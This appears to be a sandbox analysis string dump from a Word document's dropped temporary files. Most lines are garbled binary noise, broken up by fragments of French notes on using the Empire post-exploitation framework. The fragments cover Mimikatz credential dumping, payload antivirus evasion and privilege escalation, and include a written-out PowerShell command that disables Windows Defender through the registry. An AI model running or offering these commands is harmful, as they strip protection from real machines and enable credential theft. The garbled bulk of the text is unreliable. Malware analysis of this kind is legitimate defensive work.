Ansi based on Dropped File (~WRD0001.tmp)

M^k}]*^UsU.+RR7P

Ansi based on Dropped File (~WRD0001.tmp)

M^ypo\:St@=u"%M&FY?Jg'pBm:MMDYKEU/m?%[f

Ansi based on Dropped File (~WRD0001.tmp)

M_[_<<{#bs{sBco>JONA)t`[BK1RW-,LH

Ansi based on Dropped File (~WRD0001.tmp)

M`lV_'(@o

Ansi based on Dropped File (~WRD0001.tmp)

M`~BjO*&>u~|JL>kR>i>Bqn6/:_GA]/-`wX;kF78_>-h'_c&~\sI.S=*e#|zteNmh]fH

Ansi based on Dropped File (~WRD0001.tmp)

Malware Triggering

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

management Gestion de l agent

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Manuel gnral

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Max Display

Unicode based on Runtime Data (WINWORD.EXE )

McE~RXewo4Kz.bcB_928}?\zp^+g~kN$3Ykm?":d,<OP0LzRWr'6Rbl&NExVVvcJTLV<0=>"+4rDgCFwAF532cEt}8f].]x+^"J`}J\{U.Kf>I^FdyUT5G?m 5C6^dFQ37|s1\SXS,XyXQ|b}60_P:i]cd3qI?xd![m

Ansi based on Dropped File (~WRD0001.tmp)

mclxv}>y+pSYR^r88\brig92w9c?Wz3b,*.^OdG~|d}tW1&k``=03ZkX/b9.\l|ryx0$ syc^7ky]> \_3GL?\msdpO5|OI:WlXJ)ovPb\^z/a1avG ) AhM_<@,s ;{3csdnWka|7mN&}^RJy+z^.5_3l-[dg<,1pPh/R3p;n`#~|<bf^R[\T\t2E'Yzwo]L~'GY/9YWgY~vGu~A}ww+6)d9^z">feh_9wzl`uI <F79>U?<7?Gjg}v/go,nd>C<uRJhjPJA]J,f0W/Iu)pK){:K)A]J)RJ)tPj;_N#/_K]~zPj<sA^]p&Wy#H^kP%/k~<2n=sw}-AvJ}d_/p3/kGzZ~r~{K{xO<?%j,leg_^t

Ansi based on Dropped File (~WRD0001.tmp)

Md$jOH$qCH+5cl'>h'jFAh^-E~<_i}}/sex

Ansi based on Dropped File (~WRD0001.tmp)

mD**]&EPKX|bQ+&wWxx7;7;e^7.R&L1c01-ES;j%jmU5b=;QKIm:-ovE2;;k%*di}1_lnW6PA;C~hDi%=Gi44GdXH<JEM||\;x\1cYjKuMDP":k`y!WE'\?FMz7==m*ks;>6?tWQ1]-jpbwam<fD}vC_[Q.d1qC=Qy+x

Ansi based on Dropped File (~WRD0001.tmp)

Me.]'~r~wM$wE"`G6+,4s]Y;UIZ)k%wlVo2zt~Z~&/J>Yqg:kO|8Q9Et.Xuhb~bj_TX+)dOs%;O

Ansi based on Dropped File (~WRD0001.tmp)

me?y-$L~uA;8cGWP[n7y,x_J*v@>gO3zoXr}=rH:#gx~~xw?|ncAxJP=;@~tN8nV7wXP7>|x|e!};I}Cs>XpqqqqqqS>\\\\\\\(cNW>V?e~!7G!|w,>?^Go}F#q5eV,:VucwfJy:/~~<e<y g[Vjns)zCtOXq(DtRO8%Lq_>lVn/v]z<[H?>Sun2}vO_*{OiX=1?O; >(

Ansi based on Dropped File (~WRD0001.tmp)

mEE)G*)v(`e\:p2&m:6,ja[?7_.<(?ZwJh1VtQ>VnKeHU6d1O2yi>M*pCA#c"YaHk(S"U4r9lP80v|F.F.Q EArz&G7|d0/O_@g^'a4N4G_\xN(QTL,,7mBLM?~@(L/D{Jykm`h/ie

Ansi based on Dropped File (~WRD0001.tmp)

MeT_AD8gfc%m`Y#Ut?8AI=-9#,v}L+B4>_}]$;l\Ni;&E.FN"]&ip*f

Ansi based on Dropped File (~WRD0001.tmp)

meyzIF;G_G3C*`/:>Z`'UVQ>,iUSt0)'WIZ34:VM;OGoUU)MB[>!)''W#w0<$h(O[G&hfiKa$8jcB1l|v\ncW)E~1N(HyUt2)4z%$6w\ef`xiGI&N|]

Ansi based on Dropped File (~WRD0001.tmp)

ME~H]q#FZ>Ud9]C|yFchDtB9)-(*zz<zA~>aCi|F-9yOm!vb/;4&Rs`GKTF!d

Ansi based on Dropped File (~WRD0001.tmp)

mFQq=y@Kpz;GXPmeI/B.nbl;K3b5S]?

Ansi based on Dropped File (~WRD0001.tmp)

MFzRk7Z%>zg>[|7u_"PpW2\O"[[SN_5?2_~<?|#T7]PUd|~3#8O=E3{SGwQ}#G^

Ansi based on Dropped File (~WRD0001.tmp)

mi.######7{fQ!z{~w%F9;@_/#(W~6fG^o)Cy\ji\B0=OY6-5?7-tge>LvNCHHU]B9I|Y9+C{~(zE!"7)(kzndBBH[ZB+7Qv51zW3XM-zRe_1?<F=E?=m&'ku"x-c3bKht

Ansi based on Dropped File (~WRD0001.tmp)

mI@G!H2\Xt#/

Ansi based on Dropped File (~WRD0001.tmp)

Mih8[i[5=[Ne$~z/i9.q~yM._K9>+.pxThk$'RYF4=?F`^

Ansi based on Dropped File (~WRD0001.tmp)

Mimikatz pour dumper les credentials Windows

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

miOzkPm0H+1h0-8AYz+Rq/HslY#

Ansi based on Dropped File (~WRD0001.tmp)

mJ(w.utmC`w8e

Ansi based on Dropped File (~WRD0001.tmp)

mjIY2g.z\&,Rl9l%bb

Ansi based on Dropped File (~WRD0001.tmp)

MK(^~2uXKQaG)I{0VIug. -Ie3v*8\?;"?=L.3&t^/0&c|\Q]G7*R9k{_PBv=xnFpE%-;.^|:GZQ]ORO(cEdU%XD*

Ansi based on Dropped File (~WRD0001.tmp)

mK?UB4.C-'>'y~$$iD'S5XNo)2 p1p:ISz~%u9aMiT@(qG5Iitu=MMH%}IH8[[RcHgf<^L ug_2/E)ZU+jZc$df:Hu6|S*~ p

Ansi based on Dropped File (~WRD0001.tmp)

MksSUjOT'{#+O<?iQAyVI :~?%^$SCtxwv

Ansi based on Dropped File (~WRD0001.tmp)

MkThD|w@LlR4q+E+*etCt+)cs3iJ^Y},wqy

Ansi based on Dropped File (~WRD0001.tmp)

Ml0|0O#2!(dw%Wj0TA[kuxa]OZef85qgxjse\?jK@~VVM}(j~P#tec W6"q%4]h]?P|

Ansi based on Dropped File (~WRD0001.tmp)

Ml`.l6<diyDq#74u`cb5~odr%C;j6>pc--YfEV]U7- NA[d*|2wgBi0/O(*a@M}

Ansi based on Dropped File (~WRD0001.tmp)

mMYX"3Oz|y(gk"j3o)P0U

Ansi based on Dropped File (~WRD0001.tmp)

MNNm?AcwjxCccJ4j!4Q{o

Ansi based on Dropped File (~WRD0001.tmp)

mnsgf{}#P|E8G.*z=CFbQ^onT?bZ}TiMy6PAfY@aI9=|CE>udsUAHf^l)FG~Gl+WJ.

Ansi based on Dropped File (~WRD0001.tmp)

Modification des modules le format des logs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Modules et commandes de base

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Modules les plus utiliss en pentest

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Modules_py: $fz

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

mPGfZP,7oP,hoo?yKD]M&gb#BiG(m3+NJ<DLX=QX`BG;Id}N3l*7e0TqOW7o/e=!L92{;eJm{<Kz'W6^HQ*ok^PR&9*bxIHh;i

Ansi based on Dropped File (~WRD0001.tmp)

Mq2~Bh[5@UQ*d"r5Y'[cfE2)AX&Eq[=w]~WC35nA},DNZ?k:k*=Ma_rX,|u#/)u<xmxI^1}[?

Ansi based on Dropped File (~WRD0001.tmp)

Mq;.;-Ga6zHv/JXwk]'YKqT>BX:J

Ansi based on Dropped File (~WRD0001.tmp)

Mr*@(.=me1|V*6%k@!t

Ansi based on Dropped File (~WRD0001.tmp)

mR_~w?&DF'

Ansi based on Dropped File (~WRD0001.tmp)

MS60/8Gx05s1^g$'$tuDxF|1}7W

Ansi based on Dropped File (~WRD0001.tmp)

MSOBALLOON

Unicode based on Runtime Data (WINWORD.EXE )

MsoCommandBarPopup

Unicode based on Runtime Data (WINWORD.EXE )

MsoHelp10

Unicode based on Runtime Data (WINWORD.EXE )

mspim_wnd32

Unicode based on Runtime Data (WINWORD.EXE )

Mt+hO5|ZC2b<.T8)aqywoR ?2`IR`W2[;9A7Ybc!FC#K m

Ansi based on Dropped File (~WRD0001.tmp)

mTM#(TPH'WHC8X3haiNmWi?p#eRbyvf;2(9!Q_+YQJHK52/2eYL(jj0}aXnGKHp?ZaL.CI(1}R_]~A7A$R_f:`.q[2WI>jwWE{hk;2Q3dRB?5FCG%iV[2-EWze

Ansi based on Dropped File (~WRD0001.tmp)

MTnfg}v<U8Gibuk?dGaben$]c8#vR36/2og^x\!C(y'qe:pvW}H5fk~j=h\^?'h|Fn~Bqmd'[]{;`-Lqm

Ansi based on Dropped File (~WRD0001.tmp)

MTvcz1J2tMqn=X0~R*(ZH_/%_mf|=g\\Qc#fi30{[tniP

Ansi based on Dropped File (~WRD0001.tmp)

MU8Q^d_=upKt?'(>z8"[JJ1LG'~dSEfFaV1WAw_hRK RNJW$DSg/uKB6p*d/F1CRz/^8^D*h/A?O4(4K_]zA?P)ZqK$.c2?[ELI^!sjRjjP-FnY+w[/wAhR:NcQ2q2W

Ansi based on Dropped File (~WRD0001.tmp)

mUgnR"5"e=~LR.E*-e(DRKjH15M9)]>K5)+*.JMnqi_-KjP~^zVLwJ6`rE2&Y958VNjgxIM0Ic-P1=U!BGu>mKcjpTy$SLYQ3XTZhfbex<p)^6\~-\g1'.`;0]w"\c(aA|8BE"z%w"&Q0MOjW2>|nv;3">i#v(`3';~(%5Is5>?a

Ansi based on Dropped File (~WRD0001.tmp)

multi/launcher useful for evasion

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

MvQE>e5XZ0k\"i~z]eV+Pb1p'/,+<f}]nXt{i<ei@zz=ojSpJHJuPNRZ2m>n+* ^8MPM/2Vnne[JN`QD}O_1JcH|HRR\mwY'fb}UGRr0GPdj2bjS=pU=b]U#-Qfht?$G)zuSp&(C(b?v~tF

Ansi based on Dropped File (~WRD0001.tmp)

mw%if-u86K3f%Vz@Wld\'3),O6&0\|rx|+XVnIN|JYW/t]29'"Ny/R-{tzawdAidqyg:L[b @lOo\uakd~/fHIh+NrtpPOS?`Ho9w_kW

Ansi based on Dropped File (~WRD0001.tmp)

mw=nJTQh\MAN

Ansi based on Dropped File (~WRD0001.tmp)

mwvq<]l_RRR|q#9j[qWykUXuq9<7,wv/Uo#Kh?p4Y>>?pd[#Y;?X%OWiS9kk%s-?#FI~6qieX4y<Zn/t+?

Ansi based on Dropped File (~WRD0001.tmp)

mw}!)l%1b t8q=.'C2Qa=:_v/"312*jqN>Dwf;hC0ISS;

Ansi based on Dropped File (~WRD0001.tmp)

mX!r"m+3EVR&/s?q|w29aOz5;Doo#W`9W_/`])>omIA

Ansi based on Dropped File (~WRD0001.tmp)

MxnIK:H,Vi%E=n[x@agG8"n:daDDz\0&'G^

Ansi based on Dropped File (~WRD0001.tmp)

mXvCHO$W{=?`~2

Ansi based on Dropped File (~WRD0001.tmp)

my(/]W"^Yv7v|TSc

Ansi based on Dropped File (~WRD0001.tmp)

my89y +o9Cy'~1h(4o8`|8q[S'55[$p

Ansi based on Dropped File (~WRD0001.tmp)

mYol>PwS2Yhf('6|%UgRfffEmFcO'^^iKW/V5

Ansi based on Dropped File (~WRD0001.tmp)

mz<6XGg2 bo-G5rt'ws;mO7[Ce(1l

Ansi based on Dropped File (~WRD0001.tmp)

MZC!Ca/Zq$NXlb6u3{D$q6$;_~

Ansi based on Dropped File (~WRD0001.tmp)

m{nM^.xkM'*eYanc]Y9av1` 8b*\;?:a\[l+XYvE@9w~9SM;2^Bm14Qi{/GmF^>AWWnaMFck7H_^W5^qRO)8WquL:-ZKeCEg7]Aj^]KmKWpu.N?d

Ansi based on Dropped File (~WRD0001.tmp)

M|aFGbcGoGe_K7xDP

Ansi based on Dropped File (~WRD0001.tmp)

M|}A 9:noun 5hGqwU]

Ansi based on Dropped File (~WRD0001.tmp)

M}(C40v},zPRG/

Ansi based on Dropped File (~WRD0001.tmp)

M}5#Aj @c(rg{C1h1kh+1UP}mwn%PZvt

Ansi based on Dropped File (~WRD0001.tmp)

n iamzk^xYbr}>'|Qp|>+O|?b =7pL_HH^Jq}>mKmx`};y(_H|*y>p/-r~xu/A>mlg[ppppppp!-K\@U7=7I{%{47$U)g2eV.TQzqo=^k<Sp6<.% 3t't:JwcUeO0~+.\{I|?w|"}n%5|:Y3.Kus=+%%-S<.BA/4q7%

Ansi based on Dropped File (~WRD0001.tmp)

N#[|on4GX(ka:"9hli`$w?!q!.Zk!({ipg7\y`oTdv;b;b-*il44arR5CD\+!M:Ly}d`j+#OpG#IEe3JpQ5{Y;CIwI;9H%|,E?Fu4=&yTeCSxQ!"GQ&sMY~?JGC8Vtt[Mk[$$ru1Rhw#AbEx Q:?QV,LW>qVPPPPPPP^`1A\D=7_U0A c?d/Q>.A|`0UIOH3 +Ju'[E$8j,}FGlLYEbat_

Ansi based on Dropped File (~WRD0001.tmp)

n$~XdC sGP5(LE|a:ZCqm#?vw/aO"*-4B4dJ.0;AuUt~!;O}_

Ansi based on Dropped File (~WRD0001.tmp)

n$~~aQaAKvYWyTRY^/CVqo>tws+SKXD^^%:qiak.<MO$y=vCFvQeM%(A*4fIlZta2/6S

Ansi based on Dropped File (~WRD0001.tmp)

n%>a,Y6L~cp({("XWMT-^xh6r>"fAx`vEjh\S21AHd\zN/ Vs!qhZHg4'P}YChoJ*-rMM":s]ne-J}qs`HS"M

Ansi based on Dropped File (~WRD0001.tmp)

n%}Cu,SUW+c;G#2L0@Yu6`CWQz!^Y,`VH}#nX0@QUL*|/osUVduv|{4|&]K>{H7xG^N

Ansi based on Dropped File (~WRD0001.tmp)

n(XSS,-khNEVS+ibr8FR:9,U\EPabH91PXa98oHtN]<p0jU#X:N`iRi3RjUq

Ansi based on Dropped File (~WRD0001.tmp)

n*c/Syk\mssyH5OTgxJG%6u0jS|KoojQ@,wH}D3SqtIx3G;Gk|qpKe_}OW4|rdz:s\u]1qv|M~

Ansi based on Dropped File (~WRD0001.tmp)

N,qi^XxXiW

Ansi based on Dropped File (~WRD0001.tmp)

n,wDgC0&%hK?@/GF7Xl24o|

Ansi based on Dropped File (~WRD0001.tmp)

n0>>`E:W3BIop~LZ HYqq~P^fHQZ1\w'|q789eg|T.Yc<j}%W.siD&?1$HV|R)rLB6MB{ID< i679{_A;~%*g7TI7>J'HDucNL>I8YZ|8"LJ

Ansi based on Dropped File (~WRD0001.tmp)

n0Uos3w4q=o7Q>|>&

Ansi based on Dropped File (~WRD0001.tmp)

N0z'aXy.M7>,H<Z{V^M`#a'?&lk'4q#<Q$-2qA2WK$2GQem9CHh'+F)do5MchJx+]HRu|Kzf\O;/#ynG\-8E.42bfaYVyl+KT>

Ansi based on Dropped File (~WRD0001.tmp)

n2,l5Mqc){w"wg5bu~E^ZQE1HJ16,Y}DU0$x-.N-Glk%8'hi\zp4s&s

Ansi based on Dropped File (~WRD0001.tmp)

N4DcC^M~)v-[&-inWc&cvk##?c,H%0.RO!+8|5Oek?G0T,]cnOLW1@[q(t<UrG_GvTB(M=U_yY%}6}mTl&Bq0ila;5`l%

Ansi based on Dropped File (~WRD0001.tmp)

N4kLY; *3?OFl$Qf4X'|!Bk+?t3]VgGSMTy*?70`_\P{<|>B7c~)tl>Kx*tK1WuW]BSuBSZTO,

Ansi based on Dropped File (~WRD0001.tmp)

N5zzr%$l QZW~ffXoK[yMJ9$PF$:<|ZZk_~Nkj5\zpn3gkGtm#SMt~ywE4c<:366Ln&L0eM7t? ;o;R@!KMC4v37YIGdBl l3e9qro$]:4n"K<g.{g*R7G7*m5AKaMO;>

Ansi based on Dropped File (~WRD0001.tmp)

n6[(=3eW-YxCmgQ4#_tb!vLD\5C+fhz`g1=i

Ansi based on Dropped File (~WRD0001.tmp)

N7^%=>jqgj))YqSsY~w?a~x5&WOcSo]7]:;tA91Y$HnR&P9@UK(<lc>8iW^;^ZL=&\T9=$DzvYqm2e*)<cCbqnTF[Z'F4fiDt)(@}a;o

Ansi based on Dropped File (~WRD0001.tmp)

n8wC^(YcBtE^dph.x;w&eN!d{;iL_JTGnRPT]25y6

Ansi based on Dropped File (~WRD0001.tmp)

n8ZaJo[*1&rLq9SGAkZ3rj-iC,eKm'T";q7OmVDYv?C#+)?4D_B:HAg?d;ZR

Ansi based on Dropped File (~WRD0001.tmp)

n9D?7PImUKZG5_'HX-4!St\Bc60x</t=EQr^enA^B<.~[oRPh

Ansi based on Dropped File (~WRD0001.tmp)

N:Db-!g64TngEY%eo~f6xGyO`cd%yV@>Fg/7hd!-4<S|V*s3[M52s$*+MiT3[zvfXJVh@k(dx"E}.^V~qf_}FHhZ!y7CWBGlw!>g0~,{Y;10'`c~"T-dFBM"<

Ansi based on Dropped File (~WRD0001.tmp)

N;X/<iUoV]B%gTnJW0mr8o/wl'|yAp"(

Ansi based on Dropped File (~WRD0001.tmp)

N;Xekip#?~{<tZ#~8TUO3:zR{/>[(9\thZ{qb}G`w?U[D36tZlWmh~.jYF8"<Y2.7h

Ansi based on Dropped File (~WRD0001.tmp)

n<Oggh ytuqq!Ky>`

Ansi based on Dropped File (~WRD0001.tmp)

N=67?92(c9tZ@bMKn#KKPOVwN4>%_DCp8:(/;kN1{.2KM'?wl5+)D@bx<rI7M?_}Y8W.brrWH$8<<5 m*)Q}i1&Edq<

Ansi based on Dropped File (~WRD0001.tmp)

n>a`\XGTcw8C0r.}.Ttx}$?8i!(|qA*/5|

Ansi based on Dropped File (~WRD0001.tmp)

N?rNc0tan"r t!in.!dh%J':nv#lfl$}B _J8: osdB?KPNPz+mUm}g?-c[8lF3h_q0!0A/V-2e<t!Gf>psB$yOGaxKs(>`^e

Ansi based on Dropped File (~WRD0001.tmp)

n\6OlYF>12ox>oU2=?j!m|'2d-/eO/}rhz:yP+Za^72=N:Y

Ansi based on Dropped File (~WRD0001.tmp)

N\r{]*#a`eb-)/f.Ze{%9k

Ansi based on Dropped File (~WRD0001.tmp)

N\|Ftp<@cD$MZFn@j,$g7/^?ql OAfpO2PmcO$#

Ansi based on Dropped File (~WRD0001.tmp)

n^<W.bfXdn]d:{a63/drv/ODKe^./+o+++/+o/

Ansi based on Dropped File (~WRD0001.tmp)

N_<CxSpw_G^y|P.a><^M)H?!|CO_

Ansi based on Dropped File (~WRD0001.tmp)

Nao~w$TI561yU.dfWmKF+

Ansi based on Dropped File (~WRD0001.tmp)

NB: FoxDump ne semble pas fonctionner avec la version 3.8.2 BC Security Fork d Empire. Lance manuellement, on obtient l erreur: Unable to load 32-bit dll s in 64-bit process.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: L lvation de privilges ask n est possible que si l utilisateur dispose est un administrateur local (ce qui n est pas le cas par dfaut dans un Active Directory).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: Le token peut tre dfini directement dans le fichier de configuration:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: Les modules sont crits en Python, tandis que les standalones sont crits en PowerShell.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: Ne pas oublier de lancer la RESTful API d Empire pour effectuer les commandes suivantes

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: On peut avoir accs une ligne de commande PowerShell sous Kali via la commande pwsh. Dans cette partie, des commandes PowerShell sont utilises.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NB: On peut revenir au menu principal d Empire directement (sans taper continuellement la commande back)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

nc5G{?"cs67ra}Q4XK6]1~}qUk7,7{evCWN]aH(pjg]@h"A,I`m.9:y/JjksE'u

Ansi based on Dropped File (~WRD0001.tmp)

nCxw[!cp)m3d\,f@<q6r4dx#GZYrT=yl1;NOaAB"[o5epR<O?

Ansi based on Dropped File (~WRD0001.tmp)

nd7&!<zqR9}-.g0Ls

Ansi based on Dropped File (~WRD0001.tmp)

Nd:0H7f-;OY7XnPEw..GqMkuXtu}\!+.6pB\oBrO(QW`GN<QnWqr) he*k-|5+);A,r%,*/o H%K3?jFkp{

Ansi based on Dropped File (~WRD0001.tmp)

NE5G&pBNlYtzz%5t7X tY~dnD6Ug67}r

Ansi based on Dropped File (~WRD0001.tmp)

neo4j console

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NetUICtrlNotifySink

Unicode based on Runtime Data (WINWORD.EXE )

New-ItemProperty -Path "HKLM:\Software\policies\microsoft\windows defender" -name disableantispyware -value 1 Force

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NextUpdate

Unicode based on Runtime Data (WINWORD.EXE )

NFaMDJ?.<|Ez_-LK|'A0m'~`OD-7A)u;DGdJcxxw7S%uZ&)JAV)QE|z;ifH{nxPb7s}n`rLf1vp="A-8r3=aE

Ansi based on Dropped File (~WRD0001.tmp)

nHmL\Nk-#/R'S'?)#^1DrGy1Y?zh387?b[*e|{AL(*xz~Fhdp5S\MARa)D9*4DHj]8Ed0c;L>E!gJvP2lL:R7lNx8})^B/lWQ0yr^0jixPVng'W6&'0hjL&3GM'0-ShwhHwZ{HN[]Gp{pX1yG^xe'cPW0d5T:+b-

Ansi based on Dropped File (~WRD0001.tmp)

Ni&c?;>lqw~%Ov[6o7)9r_9j?rLKn56lT:

Ansi based on Dropped File (~WRD0001.tmp)

Niin]9L@dj3lC95M,$p/5Eg)ZFWa(

Ansi based on Dropped File (~WRD0001.tmp)

niz*F~"qUC ..]h)8_"9yAj+pEH|WP+4ORTF%E<I?+wu

Ansi based on Dropped File (~WRD0001.tmp)

njeJA,vu(

Ansi based on Dropped File (~WRD0001.tmp)

njhN6r;;,X

Ansi based on Dropped File (~WRD0001.tmp)

nKd;$x$I$w'[m[[p2|YLhUSkL

Ansi based on Dropped File (~WRD0001.tmp)

nkki"^&%y[O<x@scV^6i,l1jTpp"w83U3~&uQ+ex71/Rhi]'zN

Ansi based on Dropped File (~WRD0001.tmp)

NM4JMcmMX(xt2(O/PC'WtS/WnyO%+K:i

Ansi based on Dropped File (~WRD0001.tmp)

nm_,0V S>EcPGFti

Ansi based on Dropped File (~WRD0001.tmp)

Nm_?g3ZqCygO[#?%*?gKCm1P!hny=9_&})gR|P:rUi(hMCl=5r=.x5H|%K!*h{,6u>9YJ/3R3i!+bxo)m$'6 ]=2~>[IK~b

Ansi based on Dropped File (~WRD0001.tmp)

nn,;nN7:1/)fv*

Ansi based on Dropped File (~WRD0001.tmp)

Nn/GcO][/}6|5}62E!\m~=M~/>i{>z|c=~~(KqM`k>[

Ansi based on Dropped File (~WRD0001.tmp)

NnmMSt^zzb'>kN>DO|[<>L=i!y c+g=:?]&|BrXtVp!10_sqzo7Co*cKbX*Qk7;Ic>:$%lQW?{F=FVz>#3LD}&7=N{H

Ansi based on Dropped File (~WRD0001.tmp)

nnYC4*Ow|DXD1,T?)Mtmd3]<..|Q3Ma|WC+<uw

Ansi based on Dropped File (~WRD0001.tmp)

No guarantee it work (has depends on the developers). recommended to do recon on target, use multiple haling conditions, attack.mitre.org for new techniques.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Notons qu un payload basique (http:multi/launcher) pse 4.7K sans tentative d vasion anti-virale, alors qu il pse 8.3K avec les 3 options d vitement (0.7K + 0.4K + 2.5K)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

NOYMYTs;jA"M]hmhU[]I7Lo"eqr+DXzF)yHx8IBT[m6i\

Ansi based on Dropped File (~WRD0001.tmp)

np,o.#Og}k8^dVLvJtV&4O:g8vl`fg7Z (glvrXL6gM62b)$;Ez.nF!mO'OY

Ansi based on Dropped File (~WRD0001.tmp)

nPK>uk(/$4=4~?s0gX0:T,XJRBrOEcX1,Aay"l1l[k7/0xm92q>q{TQY@Q1qE~H;.F~zj4

Ansi based on Dropped File (~WRD0001.tmp)

nQ(#Z9gRx2%o-1x2<t"gwse4 =;'-UFQ*(kG4VG2ZJPBEukoCDNl/E"d39Ux7J]W[bey7a&L#~G0=-ut&_/,+O3R@RMjO<S"r;;h-4rKdj'q0Xf{"bWRfL7`OXR96AuA5<@b~rhMu7!B_}m?_0V.6!:{:GXv[aet

Ansi based on Dropped File (~WRD0001.tmp)

NR~q6]N[7}<\1_7ik+:e^m*n:nz%ku*s~P5o`#rv7_Q!JGZc/F:o'npyvce*-LO723# h<Nr3Ez)y:cVdB`>U6qBcWra

Ansi based on Dropped File (~WRD0001.tmp)

ns"wEv+5HgI6]^eW-_z6=jTxS_]6!V[nX- Oc8rWkM~eGBk/n-n&kcTa'^xQ&sp,&C},jK=FU6,B"

Ansi based on Dropped File (~WRD0001.tmp)

NS^tBxA|H?

Ansi based on Dropped File (~WRD0001.tmp)

Nsf9#>?Cr"tH\hf|^|~MI+u%,F:"9?

Ansi based on Dropped File (~WRD0001.tmp)

nSg[pF08O>]ml~F`c?+KFq3{,Qx<j=`[\{f/UxbVWp/!o:3CAV%H8=B,T9e?Y\3_WYGp8qv,{+e]]x^!Ird8jty'6{-gJ-ci~x'EzM]:^Y]{DOM>{{skz

Ansi based on Dropped File (~WRD0001.tmp)

Nsu]'0iv#S[z)wAz;>:|c%&lkFva 09 %}i@skZj`<

Ansi based on Dropped File (~WRD0001.tmp)

nt0^aPQCga-WnM^i04T/}8o=V]FzjWAFTG2Fj&:r#CN)x1s/V4%hViyJd_"$Q|b}IM[K*z0N7*1gvy}+np@>2:u

Ansi based on Dropped File (~WRD0001.tmp)

ntd682;x]X%CR '~gJcZ^3D>4q=.+H0_@5f

Ansi based on Dropped File (~WRD0001.tmp)

nt~0E!]y>j{zcrq'9{R_BQ,

Ansi based on Dropped File (~WRD0001.tmp)

nu!~k:',/N1Z"7}tV=+cKo'Lg*qrt)THX}v}dt(&G7*A(?/$K$/Uz|BxpQ:a]/

Ansi based on Dropped File (~WRD0001.tmp)

Nv=.,MPpPYj2C@6TXQCvB3=q63ReV;S4<)Q$an2x`7M[47

Ansi based on Dropped File (~WRD0001.tmp)

Nw#&Z$f?OmR *wZ\ a[*LA=TV{k7;T\{'Xai{8L1of:bgn&zxHXmhFk;x)M|-:RK()r>C9&nB#4v&LBu

Ansi based on Dropped File (~WRD0001.tmp)

NxeJ9DFs^okl9>`'aO

Ansi based on Dropped File (~WRD0001.tmp)

nxw_-8xumDb~Nx8:?

Ansi based on Dropped File (~WRD0001.tmp)

nZ[Z(\iGlNOPAb,c~{u$>d^R?WW,!0Y|(X^xuu\4cS3"OLgmE"8^BE F~m@WRrfTGtRe]{AXV>u3s[fL y2uI1J;&sF9'f3!sGcWln9M+\?\ D~ly/hrd4usg7eIm>|4{YdN6);5cG?c!V73yeK~dsT>.lj]f}h pLv]M3Q(19F

Ansi based on Dropped File (~WRD0001.tmp)

nZs>okJ5J|_&vfQcG5";5DDDTL<pmK+3*6qzrhnhjsc\

Ansi based on Dropped File (~WRD0001.tmp)

n|=vc+.&;yBN2Fba\]+L|8pn21WQD|]ZcTSD&>3>:.!F}$N)=kyQM)Z-h#{m<|JNb&wsUK0n:b&8~#, Mc]tzy%C/wJ&WadsiQd>7l|hC{kdkUR?eamxh4Mr

Ansi based on Dropped File (~WRD0001.tmp)

n~,"Fxbwo[bo>*traOL~_`|&5VK.1V8hh4}

Ansi based on Dropped File (~WRD0001.tmp)

n~26o_xc2icZ]%>"<:v]Wlm=>Yq{cE7t'^.->O>\E!|p5Ov<w}

Ansi based on Dropped File (~WRD0001.tmp)

N~N'#==Uz]"+9J^~o!.c<h;KZIgM=Q,qMS~&3=]`aw/M7%?'S\yaBa>w_[Uw5

Ansi based on Dropped File (~WRD0001.tmp)

O <VALUE> pourra contenir une des cls suivantes: (dont la valeur est la fonction PowerShell associe):

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

o f]Nn>H9F]]!Gu3hE"ldXt$V_v+mB_T1[N_/SnQQJR,Z)o{-

Ansi based on Dropped File (~WRD0001.tmp)

o!BLJU>E^Ex>i;c'^<kzqS)EqZ~p/cT2K'~7_:9oja*Fy0D5q'gce^lpj?'Q*= *-

Ansi based on Dropped File (~WRD0001.tmp)

O!L%WL!WQcdA@8nHo'.Ag[bO!RDtSaMAxcgTY6BiaXd[gTu(yl"Nb\X_1F

Ansi based on Dropped File (~WRD0001.tmp)

o"|8(2>qp61?jq/;~?~%mK@

Ansi based on Dropped File (~WRD0001.tmp)

O"}}j}<X9,?g1x]>08/c];>g3#{nu~3'tV}v,L|*/8:s_ggzgfN%|%3y'.:wu}69Z/

Ansi based on Dropped File (~WRD0001.tmp)

O$dTFAH#3(PIjAq]KL}bi$zR{U)xW*g4qHfh[Y"7Th41NNrBrh

Ansi based on Dropped File (~WRD0001.tmp)

O%0' !<x~2uI&1K-h*?snlz8i{L=]hg/ut3McTz\ehTt=6e(rIvQg85)kgzs,=7

Ansi based on Dropped File (~WRD0001.tmp)

